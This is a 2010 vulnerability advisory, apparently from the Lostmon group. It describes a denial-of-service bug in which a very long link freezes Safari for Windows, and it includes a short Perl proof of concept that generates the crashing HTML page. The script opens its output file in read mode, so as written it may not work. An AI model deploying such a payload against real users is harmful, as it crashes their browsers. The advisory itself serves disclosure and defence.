Fwd: {Lostmonґs Group} Safari for windows Long link DoS

2010-08-0500:00:00

vulners.com

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Safari for windows Long link DoS
Vendor URL:http://www.apple.com/safari/
Advisore:http://lostmon.blogspot.com/2010/08/safari-for-windows-long-link-dos.html
Vendor notified:Yes exploit available: YES
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Safari is prone vulnerable to Dos with a very long Link…
This issue is exploitable via web links like <a href="very long URL">
click here</a> or similar vectors. Safari fails to render the link
and it turn Frozen resulting in a Denial of service condition.

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Versions Tested
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I have tested this issue in win xp sp3 and a windows 7 fully pached.

Win XP sp3:

Safari 5.0.X vulnerable
Safari 4.xx vulnerable

windows 7 Ultimate:

Safari 5.0.X vulnerable
Safari 4.xx vulnerable

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References
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Discovered: 29-07-2010
vendor notify:31-07-2010
Vendor Response:
Vendor patch:

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Proof Of Concept
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#!/usr/bin/perl

safari & k-meleon Long "a href" Link DoS

Author: Lostmon Lords [email protected] http://lostmon.blogspot.com

Safari 5.0.1 ( 7533,17,8) and prior versions Long link DoS

generate the file open it with safari wait a seconds

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$archivo = $ARGV[0];
if(!defined($archivo))
{

print "Usage: $0 <archivo.html>\n";

}

$cabecera = "<html>" . "\n";
$payload = "<a href=\"about:neterror?e=connectionFailure&c=" . "/" x
1028135 . "\">click here if you can :)</a>" . "\n";
$fin = "</html>";

$datos = $cabecera . $payload . $fin;

open(FILE, '<' . $archivo);
print FILE $datos;
close(FILE);

exit;

################## EOF ######################

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Related Links
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vendor bugtracker : http://kmeleon.sourceforge.net/bugs/viewbug.php?bugid=1251
Posible related Vuln: https://bugzilla.mozilla.org/show_bug.cgi?id=583474
Test Case : https://bugzilla.mozilla.org/attachment.cgi?id=461776

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Thnx to Phreak for support and let me undestanding the nature of this bug
thnx to jajoni for test it in windows 7 X64 bits version.